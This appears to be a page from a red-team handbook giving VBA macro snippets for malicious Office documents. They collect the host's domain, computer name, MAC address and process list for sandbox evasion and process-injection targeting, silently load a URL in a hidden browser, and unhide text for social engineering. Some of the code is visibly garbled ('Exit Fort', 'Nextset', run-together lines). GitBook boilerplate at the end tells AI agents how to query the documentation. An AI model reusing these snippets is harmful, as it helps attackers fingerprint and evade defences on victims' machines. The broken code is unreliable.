# Info Extraction

This is how we will extract information with Macros. These can be used to evade sandboxes, or to just gather information about the user.

Extracting Domain/Computer name.

```
Set wshNetwork = CreateObject("Wscript.Network")
strUserDomain = wshNetwork.UserDomain
strCompName = wshNetwork.computername
```

Extracting MAC/IP

```
set cItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPENabled = True")
For Each oItem In cItems
  If Not IsNull(oItem.IPAddress) Then myMacAddress = oItem.macAddress
  Exit Fort
Nextset objProcessSet = objWMIService.ExecQuery("Select Name, ProcessID FROM Win32_Process")
For Each Process In objProcessSet
  ProcessStr = ProcessStr & Process.Properties_("Name").Value & ":" & Process.Properties_("ProcessId").Value & "|"Next
```

Visit URL

```
Dim objIE As Object
Set objIE = CreateObject("InternetExplorer.Application")
With objIE
  .Visible = False
  .Navigate "https://www.silentbreaksecurity.com"
  Do While .ReadyState <> 4: DoEvents: Loop
  .Quit
End With
```

Unhides all text(for social engineering purposes)

```
Selection.WholeStory
With Selection.Font
.Hidden = False
End With
```

Get a Process List(For Process Injection)

```
Dim Service, List As Object
Set Service = GetObject("winmgmts:\\.\root\cimv2")Set List = Service.ExecQuery ("SELECT * FROM Win32_Process")Dim result As String
Dim Process As Object
For Each Process In List
  If Len(Process.ExecutablePath) > 0 Then
    result = result & Process.ExecutablePath & vbNewLine
  ElseIf Len(Process.name) > 0 Then
    result = result & Process.name & vbNewLine
  End If
Next
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
